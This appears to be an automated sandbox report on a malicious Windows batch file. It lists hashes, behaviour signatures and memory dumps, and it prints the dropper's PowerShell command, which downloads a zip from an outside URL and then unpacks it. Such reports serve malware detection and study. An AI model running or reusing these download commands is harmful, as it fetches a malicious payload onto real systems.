3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
122s
max time network
130s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (14).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2476	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2476	powershell.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 2476	1044	cmd.exe	15
PID 1044 wrote to memory of 2476	1044	cmd.exe	15
PID 1044 wrote to memory of 2476	1044	cmd.exe	15
PID 1044 wrote to memory of 2528	1044	cmd.exe	30
PID 1044 wrote to memory of 2528	1044	cmd.exe	30
PID 1044 wrote to memory of 2528	1044	cmd.exe	30

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2cf9fcfa01ca797b423e9a949bf48db6

SHA1
9e15f046167ee7f6b52ef18b164c24fdc0cf2161

SHA256
15c0e9c06a89822b482f0b766a18a3d43f617ab706879568b8ff7861e6f6e6a3

SHA512
9c7947e0a9bb2cca26bbb0693bbcf3aab7cee65601f9afb858b7844dfe8206802bde292ba668b14aea7ba8a220bce2b41fc1db10111f354b2802c707b9a6cbe7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KOUZ64I6475VHBL2R2GP.temp

Filesize
7KB

MD5
2cf9fcfa01ca797b423e9a949bf48db6

SHA1
9e15f046167ee7f6b52ef18b164c24fdc0cf2161

SHA256
15c0e9c06a89822b482f0b766a18a3d43f617ab706879568b8ff7861e6f6e6a3

SHA512
9c7947e0a9bb2cca26bbb0693bbcf3aab7cee65601f9afb858b7844dfe8206802bde292ba668b14aea7ba8a220bce2b41fc1db10111f354b2802c707b9a6cbe7

Download Submit
memory/2476-10-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2476-9-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2476-11-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2476-6-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2476-8-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2476-7-0x000007FEF4EE0000-0x000007FEF587D000-memory.dmp

Filesize
9.6MB

Download
memory/2476-13-0x000007FEF4EE0000-0x000007FEF587D000-memory.dmp

Filesize
9.6MB

Download
memory/2476-4-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/2476-5-0x000007FEF4EE0000-0x000007FEF587D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-21-0x000007FEF4540000-0x000007FEF4EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2528-20-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2528-22-0x000007FEF4540000-0x000007FEF4EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2528-23-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2528-26-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2528-25-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2528-24-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2528-19-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2528-27-0x000007FEF4540000-0x000007FEF4EDD000-memory.dmp

Filesize
9.6MB

Download